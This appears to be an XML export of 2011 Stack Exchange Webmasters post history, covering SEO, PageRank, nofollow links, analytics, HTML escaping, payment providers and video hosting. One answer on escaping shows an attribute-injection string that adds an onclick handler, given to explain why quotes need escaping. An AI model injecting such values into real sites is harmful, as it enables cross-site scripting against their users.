  <row Id="28107" PostHistoryTypeId="1" PostId="12315" RevisionGUID="59652a6f-85d8-4d95-bb99-5945e92a86bf" CreationDate="2011-04-16T00:33:39.927" UserId="6896" Text="SEO directories - good or bad ?" />
  <row Id="28108" PostHistoryTypeId="3" PostId="12315" RevisionGUID="59652a6f-85d8-4d95-bb99-5945e92a86bf" CreationDate="2011-04-16T00:33:39.927" UserId="6896" Text="&lt;seo&gt;&lt;html5&gt;&lt;language&gt;&lt;directory&gt;" />
  <row Id="28109" PostHistoryTypeId="17" PostId="12317" RevisionGUID="a3c76012-0980-4537-b21a-23320bdf8abb" CreationDate="2011-04-16T01:24:51.920" UserId="-1" Comment="from http://stackoverflow.com/questions/5669764/no-page-rank-after-switching-domains/5670657#5670657" Text="" />
  <row Id="28110" PostHistoryTypeId="17" PostId="12318" RevisionGUID="8d313216-749d-473f-b047-caac014a12f4" CreationDate="2011-04-16T01:24:51.920" UserId="-1" Comment="from http://stackoverflow.com/questions/5669764/no-page-rank-after-switching-domains/5677051#5677051" Text="" />
  <row Id="28111" PostHistoryTypeId="2" PostId="12317" RevisionGUID="7b8a06ca-bd5a-454c-a561-74aa86ceed53" CreationDate="2011-04-14T22:56:52.840" UserId="4461" Text="One of the reasons is likely to be that your old domain uses a 302 (temporary) redirect to the new one. [This should be a 301 (permanent) redirect][1].&#xD;&#xA;&#xD;&#xA;The other reasons would be around where your back-links are coming from (and to), since PR is a measurement of backlinks...&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=93633" />
  <row Id="28112" PostHistoryTypeId="2" PostId="12318" RevisionGUID="f4ad7722-8aa1-4b0d-965a-421a0807d5f7" CreationDate="2011-04-15T12:55:13.777" UserDisplayName="kunjal1187" Text="I agree with @Mike Hudson's answer. If you transfer the domain, the pr of old domain will not be with that. Now, you need to do further process to get PR like seo and internet marketing as Backlinks are for your older domain. So you need to try to increase more backlinks for the new domain. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="28113" PostHistoryTypeId="2" PostId="12316" RevisionGUID="3e2e2c3f-077a-4aba-96a7-97887e60ed7b" CreationDate="2011-04-14T21:13:15.783" UserDisplayName="kdorival" Text="Our website hasn't had a Page Rank since it started a year ago.  It has been 0 ever since we changed the to domain to http://www.accessiblehomehealthcare.com from www.accessiblehhc.com so that we could put some keywords in.  We had a page rank of 1 at least.  I know that it can be a variety of things but we had a page rank before and would like to get it back and even higher.  Our site is Wordpress 2.7. &#xD;&#xA;&#xD;&#xA;Any hints or suggestions, please let me know.  Thanks!" />
  <row Id="28114" PostHistoryTypeId="1" PostId="12316" RevisionGUID="3e2e2c3f-077a-4aba-96a7-97887e60ed7b" CreationDate="2011-04-14T21:13:15.783" UserDisplayName="kdorival" Text="No Page Rank after switching domains" />
  <row Id="28115" PostHistoryTypeId="3" PostId="12316" RevisionGUID="3e2e2c3f-077a-4aba-96a7-97887e60ed7b" CreationDate="2011-04-14T21:13:15.783" UserDisplayName="kdorival" Text="&lt;seo&gt;&lt;page&gt;&lt;pagerank&gt;" />
  <row Id="28116" PostHistoryTypeId="17" PostId="12316" RevisionGUID="2353d839-552a-4911-87e3-48eee045ccef" CreationDate="2011-04-16T01:24:51.920" UserId="-1" Comment="from http://stackoverflow.com/questions/5669764/no-page-rank-after-switching-domains" Text="" />
  <row Id="28117" PostHistoryTypeId="5" PostId="12263" RevisionGUID="dcdd0407-7dfc-4524-b6ed-3f35fcbec07d" CreationDate="2011-04-16T01:56:03.347" UserId="4306" Comment="clarified answer" Text="You need to set up **[cross-domain tracking in Google Analytics][1]**.&#xD;&#xA;&#xD;&#xA;Follow the linked instructions to do the following:&#xD;&#xA;&#xD;&#xA;* Set up a master profile for your primary domain without filters.&#xD;&#xA;* Create a profile especially for cross-domain tracking and re-use your tracking code.&#xD;&#xA;* Modify your cross-domain profile with a filter to show the full domain in your content reports.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;In reference to the comment - &quot;my main issue comes from http -&gt; index.php and https -&gt; index.php being recognized as the same page&quot;:&#xD;&#xA;&#xD;&#xA;Here are some things you can try to differentiate between **http**://www.example.com/index.php and **https**://www.example.com/index.php (two separate pages):&#xD;&#xA;&#xD;&#xA;* Rename the https index.php to something else (e.g. `index-cart.php`). This is probably the best/easiest thing to do.&#xD;&#xA;&#xD;&#xA;* Rename the http index.php to something else and set as the default document (e.g. `default.php`). This might be quite easy as your are probably referencing the site root just with `href=&quot;/&quot;`&#xD;&#xA;&#xD;&#xA;* Alias the https www subdomain to something else (e.g. `https://checkout.example.com`). This is just a DNS change, and hopefully a simple change to your config file to point to the new secure alias. This will allow you to do cross-domain tracking exactly as per the Google documentation.&#xD;&#xA;&#xD;&#xA;* Add a parameter to your links to the secure pages (e.g. `href=&quot;https://www.example.com/index.php?foo=bar&quot;`. This would allow you to differentiate between the two index pages in GA. This is not the best option but should be easy to implement without breaking any business logic.&#xD;&#xA;&#xD;&#xA;Hope this helps. Please report back on any methods which work for you.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Cross-Domain Tracking in Google Analytics:&#xD;&#xA;* http://code.google.com/apis/analytics/docs/tracking/gaTrackingSite.html&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/gaTrackingSite.html" />
  <row Id="28118" PostHistoryTypeId="2" PostId="12319" RevisionGUID="89579451-b7b2-4acd-add3-71ea7c38cc47" CreationDate="2011-04-16T02:30:04.633" UserId="1253" Text="&gt; Is it legally? I mean that I use external unique content.&#xD;&#xA;&#xD;&#xA;Depends on the terms and conditions set forth by the website whose content you are using. Most sites, by default, don't allow others to use their content without their permission. Others, like The Stack Exchange sites are released under [a creative commons license][1]. If the sites whose content you want to use do not explicitly allow you to use their content then you cannot use it. But that doesn't mean you can't ask for permission.&#xD;&#xA;&#xD;&#xA;&gt; Can it decrease search rating for my site?&#xD;&#xA;&#xD;&#xA;Google duplicate content by filtering out the duplicates and only having the original display in the search results. It's not a penalty per sé, but they don't want the same content appearing multiple times in their search and they want to make sure the original publisher gets proper credit fir their work. So, the worst thing that can happen is the pages that have duplicated content on it simply not found in the search results.&#xD;&#xA;&#xD;&#xA;In your case I believe the fact that you are translating the content to different languages will prevent you from being flagged as duplicate content. Yes, the content is the same in meaning but in order to reach non-English audiences (assuming the original content is in English, then it is to be expected that the content will be translated and should be found bu users looking for that translated content. If this weren't true then multi-lingual sites would fail because users would only be able to find content in one language.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://creativecommons.org/licenses/by-sa/3.0/" />
  <row Id="28119" PostHistoryTypeId="2" PostId="12320" RevisionGUID="f8ec84ed-c14e-47db-87de-049aff408573" CreationDate="2011-04-16T02:38:43.257" UserId="1253" Text="&gt;Does it make much of a difference if I code my site in HTML5 in terms of SEO [ use of &lt; article &gt;, &lt; header &gt; tags ] ?&#xD;&#xA;&#xD;&#xA;[As of right now it makes no difference for SEO.][1] Obviously that will change in the future.&#xD;&#xA;&#xD;&#xA;&gt;Can I do my site in 2 languages ? Does it hurt SEO ?&#xD;&#xA;&#xD;&#xA;No. [Here is what Google recommends for multi lingual sites][2].&#xD;&#xA;&#xD;&#xA;&gt;I have heard SEO directories are the way to go in terms of improving SEO but how should I approach this ? Should I use a tool for submitting to dirs or should I do it manually ?&#xD;&#xA;&#xD;&#xA;These directories will have little value. You'll need to do a lot of submitting for this to have any real effect on your rankings. But for many new sites it's all they really have at first. Doing this is a good idea but I don't recommend doing reciprocal links with these directories. The chance of you being snared in a link farm is very real and that can get you into big trouble. Make sure all of your links are one way links only.&#xD;&#xA;&#xD;&#xA;I find that the tools that do automated submissions to crappy jobs. Stay away from them and do it manually. There are browser extensions that make this easy to do. This will also allow you to verify the sites you are submitting to are quality sites and you are placed in the appropriate category.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/1413/what-are-the-seo-rules-for-html-5&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2010/03/working-with-multilingual-websites.html" />
  <row Id="28121" PostHistoryTypeId="2" PostId="12322" RevisionGUID="13234720-be7f-4383-9251-14c818e9cbbe" CreationDate="2011-04-16T03:02:14.610" UserId="2293" Text="VIM is a great editor, but for some uses only.&#xD;&#xA;&#xD;&#xA;I used Quanta Plus for a long time (it is almost cool as netbeans or eclipse, and has 1/5 of their weight), but its lack of support and outdating face HTML5 and CSS3 made me thing twice.&#xD;&#xA;&#xD;&#xA;I vote for:&#xD;&#xA;&#xD;&#xA; - Firefox + Firebug + WebDeveloper + Palette Grabber&#xD;&#xA; - Quanta Plus&#xD;&#xA; - Netbeans IDE + PHP + web&#xD;&#xA; - Eclipse + Aptana&#xD;&#xA; - Opera 10+ (yeah, Dragonfly is cool as Firebug)&#xD;&#xA; - Chrome 5+ (same thing for webkit developer tools)" />
  <row Id="28122" PostHistoryTypeId="25" PostId="12312" RevisionGUID="3faba61a-be4c-4c58-950f-ef1687e2a70e" CreationDate="2011-04-16T03:09:14.503" Comment="http://twitter.com/#!/StackWebmasters/status/59090947853660160" />
  <row Id="28123" PostHistoryTypeId="25" PostId="12302" RevisionGUID="fa180190-eaa2-4226-af4b-9c3e21aff590" CreationDate="2011-04-16T06:09:14.417" Comment="http://twitter.com/#!/StackWebmasters/status/59136246475264000" />
  <row Id="28124" PostHistoryTypeId="2" PostId="12323" RevisionGUID="d6b695d9-8600-4bf6-951d-2474327e9161" CreationDate="2011-04-16T08:17:53.430" UserId="1374" Text="So I am working on revamping one of my older websites that is actually based around a local area with a strong community.  Adding facebook as a login option was a no brainer but now I'm faced with a question I don't know the answer to.  I obviously needed to create a facebook application to handle the login/logout but now I am not sure if I should also create a [facebook page][1] as well.  It seems you can currently &quot;Like&quot; an application but I want to also be able to send out messages to people who have &quot;Liked&quot; my application and post events.  Not sure if this is possible with just an application but am worried it may cause some confusion if I have an application and a facebook page with the same name.&#xD;&#xA;&#xD;&#xA;What is everyone else doing?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.facebook.com/pages" />
  <row Id="28125" PostHistoryTypeId="1" PostId="12323" RevisionGUID="d6b695d9-8600-4bf6-951d-2474327e9161" CreationDate="2011-04-16T08:17:53.430" UserId="1374" Text="My website uses Facebook Connect as a login option, should I have an application AND a &quot;page&quot;" />
  <row Id="28126" PostHistoryTypeId="3" PostId="12323" RevisionGUID="d6b695d9-8600-4bf6-951d-2474327e9161" CreationDate="2011-04-16T08:17:53.430" UserId="1374" Text="&lt;facebook&gt;&lt;facebook-application&gt;" />
  <row Id="28127" PostHistoryTypeId="2" PostId="12324" RevisionGUID="90111427-5da9-4ad0-b814-ca336e86d23b" CreationDate="2011-04-16T08:42:25.550" UserId="6893" Text="Can I link to websites that contain similar contents to my own and not be penalised by search engines if I use the no follow attribute on the anchor tag?" />
  <row Id="28128" PostHistoryTypeId="1" PostId="12324" RevisionGUID="90111427-5da9-4ad0-b814-ca336e86d23b" CreationDate="2011-04-16T08:42:25.550" UserId="6893" Text="Does no follow prevent my pages from search engine penalisation?" />
  <row Id="28129" PostHistoryTypeId="3" PostId="12324" RevisionGUID="90111427-5da9-4ad0-b814-ca336e86d23b" CreationDate="2011-04-16T08:42:25.550" UserId="6893" Text="&lt;seo&gt;" />
  <row Id="28130" PostHistoryTypeId="25" PostId="12324" RevisionGUID="b49f87ac-20d2-42ea-a4cb-03fcc3e00e13" CreationDate="2011-04-16T09:09:14.473" Comment="http://twitter.com/#!/StackWebmasters/status/59181545696661504" />
  <row Id="28132" PostHistoryTypeId="2" PostId="12326" RevisionGUID="998b4e65-c670-4180-982c-8be0e4479dbc" CreationDate="2011-04-16T09:41:06.823" UserId="4461" Text="1. Linking out, unless linking to a &quot;bad neighbourhood&quot; (spam, malware etc), will **NOT** get you penalized.&#xD;&#xA;2. Only add `rel=nofollow` to links that you can't vouch for, or that are paid links.&#xD;&#xA;&#xD;&#xA;Other than that, there is nothing to worry about." />
  <row Id="28133" PostHistoryTypeId="2" PostId="12327" RevisionGUID="a56a7a32-bdb5-4b8c-a0fa-a313d128239c" CreationDate="2011-04-16T09:55:18.397" UserId="4424" Text="I'm thinking about ways to create the effect of crumbled paper for my website. The background color can vary, so the idea I came up with is to super impose the 'crumble' effect onto any colored background. Where can I find such a graphic? Any suggestions on how to make one if none are available? &#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="28134" PostHistoryTypeId="1" PostId="12327" RevisionGUID="a56a7a32-bdb5-4b8c-a0fa-a313d128239c" CreationDate="2011-04-16T09:55:18.397" UserId="4424" Text="Graphic ideas: crumbled paper effect" />
  <row Id="28135" PostHistoryTypeId="3" PostId="12327" RevisionGUID="a56a7a32-bdb5-4b8c-a0fa-a313d128239c" CreationDate="2011-04-16T09:55:18.397" UserId="4424" Text="&lt;design&gt;&lt;graphics&gt;" />
  <row Id="28136" PostHistoryTypeId="2" PostId="12328" RevisionGUID="1e6f19de-864f-4be9-ab64-9b15594066dd" CreationDate="2011-04-16T10:05:19.053" UserId="6630" Text="I solved the problem in the end by adding following code into my default.master.php file ;&#xD;&#xA;&#xD;&#xA;    &lt;META http-equiv=content-type content=text/html;charset=iso-8859-9&gt;&#xD;&#xA;    &lt;META http-equiv=content-type content=text/html;charset=windows-1254&gt;&#xD;&#xA;    &lt;META http-equiv=content-type content=text/html;charset=x-mac-turkish&gt;" />
  <row Id="28137" PostHistoryTypeId="2" PostId="12329" RevisionGUID="ff51aaaa-3bc6-499b-9c43-cd8fc32e1361" CreationDate="2011-04-16T10:57:56.043" UserId="6858" Text="I'm guessing you mean crumpled, rather than crumbled? As in screwed up and unfolded again, with lots of creases?&#xD;&#xA;&#xD;&#xA;You will probably want an illustration without a semi-transparent background. The closest I could find was a folded piece of paper:&#xD;&#xA;http://www.istockphoto.com/stock-illustration-5770021-folded-paper-background.php?st=3d670de" />
  <row Id="28138" PostHistoryTypeId="2" PostId="12330" RevisionGUID="e855fc42-4efe-41e4-9379-e26dc4648702" CreationDate="2011-04-16T10:59:13.357" UserId="6858" Text="I'm guessing you want self-hosted, which would rule out Google Apps? You can change the password for the user in that though." />
  <row Id="28139" PostHistoryTypeId="2" PostId="12331" RevisionGUID="e137309f-9df5-40cd-8249-e7453a982bc0" CreationDate="2011-04-16T11:23:56.383" UserId="6858" Text="Every link you include on a page takes a little bit of your pages value and assigns it to the page you linked to, whether you put `rel=nofollow` or not.&#xD;&#xA;&#xD;&#xA;If you are linking to a relevant, good-quality page then you get some of that value back, as long as that link is not using `rel=nofollow`.&#xD;&#xA;&#xD;&#xA;So indiscriminate use of the nofollow attribute can hit you a little bit, but not by much. It should definitely be on paid links, and anything that is user-generated without you approving it you first.&#xD;&#xA;&#xD;&#xA;NB - not providing any links does not mean the page will be more optimised, as a search engine will then see it as a 'silo' page which has very little value." />
  <row Id="28140" PostHistoryTypeId="5" PostId="12324" RevisionGUID="5771bc73-cd0f-463e-aa08-2aad1b348b26" CreationDate="2011-04-16T11:28:10.883" UserId="6893" Comment="deleted 5 characters in body" Text="Can I link to websites that contain similar contents to my own and not be penalised by search engines if I use the `rel=nofollow` on the anchor tag?" />
  <row Id="28142" PostHistoryTypeId="2" PostId="12333" RevisionGUID="b2d51c19-da27-48d2-8542-61ffe6d34df7" CreationDate="2011-04-16T11:57:46.867" UserId="1036" Text="How can I search for a specific string (function name or a variable name) in my files which are in various directories under cPanel file manager?&#xD;&#xA;&#xD;&#xA;I have been using a library directory and functions on that directory are used in various apps and pages. Now, I am in a situation to change something in the library file, for which I need to know the impact on files which use this library file functions.&#xD;&#xA;&#xD;&#xA;How to search / find / grep through the files hosted?" />
  <row Id="28143" PostHistoryTypeId="1" PostId="12333" RevisionGUID="b2d51c19-da27-48d2-8542-61ffe6d34df7" CreationDate="2011-04-16T11:57:46.867" UserId="1036" Text="How to grep (or find) on cPanel?" />
  <row Id="28144" PostHistoryTypeId="3" PostId="12333" RevisionGUID="b2d51c19-da27-48d2-8542-61ffe6d34df7" CreationDate="2011-04-16T11:57:46.867" UserId="1036" Text="&lt;search&gt;&lt;site-deployment&gt;&lt;cpanel&gt;&lt;file-manger&gt;" />
  <row Id="28145" PostHistoryTypeId="25" PostId="12333" RevisionGUID="9e989be4-da91-4d4b-8c20-cbcfdb930f69" CreationDate="2011-04-16T12:09:15.553" Comment="http://twitter.com/#!/StackWebmasters/status/59226847719866370" />
  <row Id="28146" PostHistoryTypeId="2" PostId="12334" RevisionGUID="af5db2a2-7d40-4132-aa12-0d989aa99720" CreationDate="2011-04-16T13:44:42.860" UserId="6634" Text="&gt; I know that it can be a variety of things but we had a page rank before and would like to get it back and even higher.&#xD;&#xA;&#xD;&#xA;It can't be a variety of things. There's only one factor that matters to PageRank: links. See http://en.wikipedia.org/wiki/PageRank for an explanation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Our site is Wordpress 2.7.&#xD;&#xA;&#xD;&#xA;You need to upgrade urgently to the latest version of WordPress (right now we're on 3.1.1). Staying on 2.7 is ***not*** a good idea.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Now, what's the best software or company to hire for the backlinks.&#xD;&#xA;&#xD;&#xA;Don't do this. The best way to get links is by having content that people find worthy of sharing. Continue to improve the content on your site and make it easy for people to share that content in lots of different ways. Be active on facebook, twitter and other online communities. Ask for links from the sites of your associates or partners." />
  <row Id="28153" PostHistoryTypeId="25" PostId="12309" RevisionGUID="7b6b0ce1-28df-4dbd-b6b7-02a27a70e53f" CreationDate="2011-04-16T15:09:15.733" Comment="http://twitter.com/#!/StackWebmasters/status/59272147402629120" />
  <row Id="28154" PostHistoryTypeId="2" PostId="12335" RevisionGUID="af1aecca-bf49-4dce-a385-0a072558e741" CreationDate="2011-04-16T16:16:58.473" UserId="2285" Text="What characters should be escaped with their HTML entities. For example, `&amp;` is escaped with `&amp;amp;`.&#xD;&#xA;&#xD;&#xA;Should `'` be escaped with `&amp;#39;`?" />
  <row Id="28155" PostHistoryTypeId="1" PostId="12335" RevisionGUID="af1aecca-bf49-4dce-a385-0a072558e741" CreationDate="2011-04-16T16:16:58.473" UserId="2285" Text="Is it good practice to escape the Apostrophe ( ' ) character with it's HTML entity &amp;#39; ?" />
  <row Id="28156" PostHistoryTypeId="3" PostId="12335" RevisionGUID="af1aecca-bf49-4dce-a385-0a072558e741" CreationDate="2011-04-16T16:16:58.473" UserId="2285" Text="&lt;html&gt;" />
  <row Id="28158" PostHistoryTypeId="2" PostId="12337" RevisionGUID="12c949d2-f048-4d2d-a931-8f986bfe11cb" CreationDate="2011-04-16T17:48:17.627" UserId="4947" Text="With an international customer base, how do other sites decide what payment options to provide to users?&#xD;&#xA;&#xD;&#xA;I've been trying to find the most popular online [payment service providers][1], preferably broken down by country. For instance, which payment service providers process the most transactions, when users in Mexico buy goods online? Ideally, I'd like to find the same data for all countries in North America, South America, and Europe. In the U.S., possible answers might include services such as Paypal, Google Checkout, or Authorize.net.&#xD;&#xA;&#xD;&#xA;Any idea where I might be able to find that kind of data? Or is there a better way to decide? Thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Payment_service_provider" />
  <row Id="28159" PostHistoryTypeId="1" PostId="12337" RevisionGUID="12c949d2-f048-4d2d-a931-8f986bfe11cb" CreationDate="2011-04-16T17:48:17.627" UserId="4947" Text="What payment options should we provide to maximize our customer base in Europe and the Americas?" />
  <row Id="28160" PostHistoryTypeId="3" PostId="12337" RevisionGUID="12c949d2-f048-4d2d-a931-8f986bfe11cb" CreationDate="2011-04-16T17:48:17.627" UserId="4947" Text="&lt;ecommerce&gt;&lt;payments&gt;&lt;payment-gateway&gt;" />
  <row Id="28161" PostHistoryTypeId="25" PostId="12335" RevisionGUID="465f3943-1f7d-4371-9fa7-45f61679bade" CreationDate="2011-04-16T18:09:16.197" Comment="http://twitter.com/#!/StackWebmasters/status/59317446951174144" />
  <row Id="28162" PostHistoryTypeId="2" PostId="12338" RevisionGUID="d11feafe-c8e5-4d46-8e95-7e6108e4a42b" CreationDate="2011-04-16T18:49:02.707" UserId="6901" Text="Try this: http://drupal.org/project/mailchimp&#xD;&#xA;&#xD;&#xA;It integrates [mailchimp][1] with drupal, so you will need to sign up for that.&#xD;&#xA;&#xD;&#xA;Please note: I haven't actually tried it, I just found it on drupal.org and it looked like it would do the job.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mailchimp.com/" />
  <row Id="28163" PostHistoryTypeId="2" PostId="12339" RevisionGUID="b449b3a5-4401-404f-a578-e20593a517de" CreationDate="2011-04-16T18:50:16.310" UserId="1253" Text="Authorize.Net is not a payment provider like Paypal or Google Checkout. They are a [payment gateway][1] and act as a transparent facilitator of a payment by passing your transaction information to and receiving the response from a website's merchant account provider (their [acquiring bank][2]). You can't use Authorize.Net without getting a merchant account first from a provider like [Elavon][3]. Unlike Paypal or Google Checkout who are the payment provider. (That link in Wikipedia actually has a mix if payment gateway, MSP/ISOs, ands third party payment providers).&#xD;&#xA;&#xD;&#xA;[Paypal][4] and [Google Checkout][5] support allows payments in most of the area you wish you cover. If you get a true [merchant account][6] with payment gateway in the US you will need to ask your merchant account provider if international payments are acceptable (in fact you need to tell them that up front as it will affect your ability to get an account and your rates).&#xD;&#xA;&#xD;&#xA;When trying to decide what payment option is best for you different factors apply. Naturally supported countries is one and price in another. You can see [a comparison Paypal and a true merchant account (and 2checkout and Worldpay) in this article][7]. Comparing Google Checkout to those shouldn't be too difficult to do.&#xD;&#xA;&#xD;&#xA;*Disclaimer: I wrote the merchant account comparison article, the merchant account Wikipedia article, and contributed to the payment gateway article in Wikipedia*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Payment_gateway&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Acquiring_bank&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Elavon&#xD;&#xA;  [4]: https://www.paypal.com/worldwide/&#xD;&#xA;  [5]: http://answers.yahoo.com/question/index?qid=20090728105701AAuq1qc&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/Merchant_account&#xD;&#xA;  [7]: http://www.merchant-account-services.org/article/merchant-accounts-compared" />
  <row Id="28165" PostHistoryTypeId="17" PostId="12342" RevisionGUID="0cde7212-390f-4cce-a806-e4459c7d6ed4" CreationDate="2011-04-16T19:02:23.493" UserId="-1" Comment="from http://stackoverflow.com/questions/5678043/software-to-run-a-large-university-website/5682931#5682931" Text="" />
  <row Id="28166" PostHistoryTypeId="2" PostId="12342" RevisionGUID="50e4544d-0172-432f-8ecb-9a64050e51ab" CreationDate="2011-04-15T22:24:38.113" UserDisplayName="CMS Critic" Text="I've got a large list of products on CMS Critic here: [CMS List][1]. It might help you find the right solution by giving you some options to explore. There are a number of good options for universities and colleges for sure. &#xD;&#xA;&#xD;&#xA;There are also a number of reviews on the site that will perhaps help you trim down the list. Failing that, I offer [cms selection advice][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cmscritic.com/resource-lists/cms-list/&#xD;&#xA;  [2]: http://www.cmscritic.com/cms-consulting/" />
  <row Id="28167" PostHistoryTypeId="2" PostId="12341" RevisionGUID="3b317a2a-28d2-4fe6-b633-83019622dec5" CreationDate="2011-04-15T14:12:53.623" UserDisplayName="postrational" Text="I'm trying to find a replacement solution for a large university's current web presence.&#xD;&#xA;&#xD;&#xA;There are a number of strategies we are considering, including perhaps using an open-source or commercial off-the-shelf software solution.&#xD;&#xA;&#xD;&#xA;The list of requirements we have is very lengthy, but main points include:&#xD;&#xA;&#xD;&#xA; - Robust content management system, which would allow for creation of multiple independent sections on the site,&#xD;&#xA; - Flexible permissions system, allowing for a large number of section-specific administrators and editors,&#xD;&#xA; - Ease of use,&#xD;&#xA; - Extensibility, allowing us to integrate the software with existing IT resources (e.g. LDAP-controlled login system, numerous databases with HTTP interfaces, etc.)&#xD;&#xA;&#xD;&#xA;If anyone here worked or studied at a university and has used or implemented software solutions to this problem, I would be very keen to hear your opinions of what works well or what doesn't.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28168" PostHistoryTypeId="1" PostId="12341" RevisionGUID="3b317a2a-28d2-4fe6-b633-83019622dec5" CreationDate="2011-04-15T14:12:53.623" UserDisplayName="postrational" Text="Software to run a large university website" />
  <row Id="28169" PostHistoryTypeId="3" PostId="12341" RevisionGUID="3b317a2a-28d2-4fe6-b633-83019622dec5" CreationDate="2011-04-15T14:12:53.623" UserDisplayName="postrational" Text="&lt;cms&gt;" />
  <row Id="28170" PostHistoryTypeId="17" PostId="12341" RevisionGUID="b6ed1fb2-d0b7-4e6c-bfbc-f49f69915b52" CreationDate="2011-04-16T19:02:23.493" UserId="-1" Comment="from http://stackoverflow.com/questions/5678043/software-to-run-a-large-university-website" Text="" />
  <row Id="28171" PostHistoryTypeId="2" PostId="12343" RevisionGUID="12f42ef2-b53e-4060-88bd-5f04e80d70f2" CreationDate="2011-04-16T19:43:26.130" UserId="6903" Text="I don't agree with Nate. You should ideally use as little escaping as possible and use UTF-8 to express characters natively. To do this you need an editor that can handle UTF-8 as well as a correct charset declaration, such as:&#xD;&#xA;&#xD;&#xA;    &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&gt;&#xD;&#xA;&#xD;&#xA;However, you should make it a habit to escape the characters that have a special meaning in (X)HTML, namely:&#xD;&#xA;&#xD;&#xA;    &lt; &amp;lt;&#xD;&#xA;    &gt; &amp;gt;&#xD;&#xA;    &quot; &amp;quot;&#xD;&#xA;    &amp; &amp;amp;&#xD;&#xA;    ' &amp;apos;&#xD;&#xA;&#xD;&#xA;This will make sure you're not accidentally writing markup when you want to write these characters. This is especially important for user input, to maintain security. It's less obvious, but it's actually important to escape `&quot;`. If a string ever ends up in a HTML attribute (`title=&quot;something&quot;` etc.) the user could end the attribute and insert their own markup. Imagine what happens if the user enters `&quot; onclick=&quot;alert('hello');` and you insert that to `title=&quot;...&quot;`&#xD;&#xA;&#xD;&#xA;If you're using PHP, you can use the `htmlspecialchars` function to do this. Other languages may have other similar functions. " />
  <row Id="28172" PostHistoryTypeId="25" PostId="12337" RevisionGUID="abf5a0f5-687f-41a6-be8b-fc5258191a47" CreationDate="2011-04-16T21:09:16.973" Comment="http://twitter.com/#!/StackWebmasters/status/59362749112786945" />
  <row Id="28175" PostHistoryTypeId="17" PostId="12346" RevisionGUID="df1795bb-4f62-49f3-a383-d7916899091a" CreationDate="2011-04-16T22:10:41.833" UserId="-1" Comment="from http://stackoverflow.com/questions/5688404/criteria-for-hosting-your-own-video-or-embed-third-party-player-youtube/5689040#5689040" Text="" />
  <row Id="28176" PostHistoryTypeId="17" PostId="12347" RevisionGUID="be66185e-d1eb-4af8-add8-48dea9a0e377" CreationDate="2011-04-16T22:10:41.833" UserId="-1" Comment="from http://stackoverflow.com/questions/5688404/criteria-for-hosting-your-own-video-or-embed-third-party-player-youtube/5689192#5689192" Text="" />
  <row Id="28177" PostHistoryTypeId="2" PostId="12346" RevisionGUID="8d74565a-b29f-4282-9095-3ba9bb4a044d" CreationDate="2011-04-16T19:33:09.060" UserDisplayName="enverpex" Text="It's much easier to implement this by embedding YouTube. Not that it's hard to embed your own player, but still, nothing is simpler than upload to YouTube and embed.&#xD;&#xA;&#xD;&#xA;If developers are paid by the hour, that would save the client some cash.&#xD;&#xA;&#xD;&#xA;I also prefer to see YouTube embeds because&#xD;&#xA;&#xD;&#xA;* it's much more likely to work than some Random.J.Video.Player, including skipping ahead and rewinding&#xD;&#xA;* it's much more likely to not be very slow (e.g. when you get slashdotted and 500 people watch that video in parallel. Can your server handle that kind of load? Probably not)." />
  <row Id="28178" PostHistoryTypeId="2" PostId="12347" RevisionGUID="3500c10b-6a0d-452a-b036-ecf20153a45c" CreationDate="2011-04-16T19:56:33.400" UserDisplayName="Wyatt Barnett" Text="In addition to being easier to hook up to as enverpex notes, using a video platform typically provides some ehanced tools for the end user. Hosting video effectively is not horribly difficult, but providing:&#xD;&#xA;&#xD;&#xA;* stats -- how many people opened the player? Started the video? Ended the video?&#xD;&#xA;* Multi-device transcoding with quick response times due to being able to leverage massive resources.&#xD;&#xA;* Data-driven functionality like &quot;show related videos&quot;&#xD;&#xA;* Embed and other viral capabilities.&#xD;&#xA;&#xD;&#xA;I've done a lot of video, and it makes much more sense to push that function off to a service if the application is public internet facing.&#xD;&#xA;" />
  <row Id="28179" PostHistoryTypeId="2" PostId="12345" RevisionGUID="62d36943-de54-4a80-ae27-53191a88a241" CreationDate="2011-04-16T17:51:32.883" UserDisplayName="Andy" Text="I have a client which I've been working with on a site built on Asp.Net MVC 2 (although I don't think that plays too much into this question) that helps with their workflow from outside vendors.  One of the features is adding a video tutorial for their users (who are not technical, and will likely use the site once).  &#xD;&#xA;&#xD;&#xA;Originally they wanted to embed a player (YouTube or another similar site) from which the video would play.  One of their programmers though convienced them to host the video on their own servers.&#xD;&#xA;&#xD;&#xA;I can only really think of bandwidth as a concern.  The video in mp4 format is 400mb, and while the site is low volume now, they are adding more of their customers to use it which is why we're continuing to expand its functionality.&#xD;&#xA;&#xD;&#xA;So, what other criteria would should be considered when making this decision and what would push a decision one way or the other?" />
  <row Id="28180" PostHistoryTypeId="1" PostId="12345" RevisionGUID="62d36943-de54-4a80-ae27-53191a88a241" CreationDate="2011-04-16T17:51:32.883" UserDisplayName="Andy" Text="Criteria for hosting your own video or embed third party player (youtube)?" />
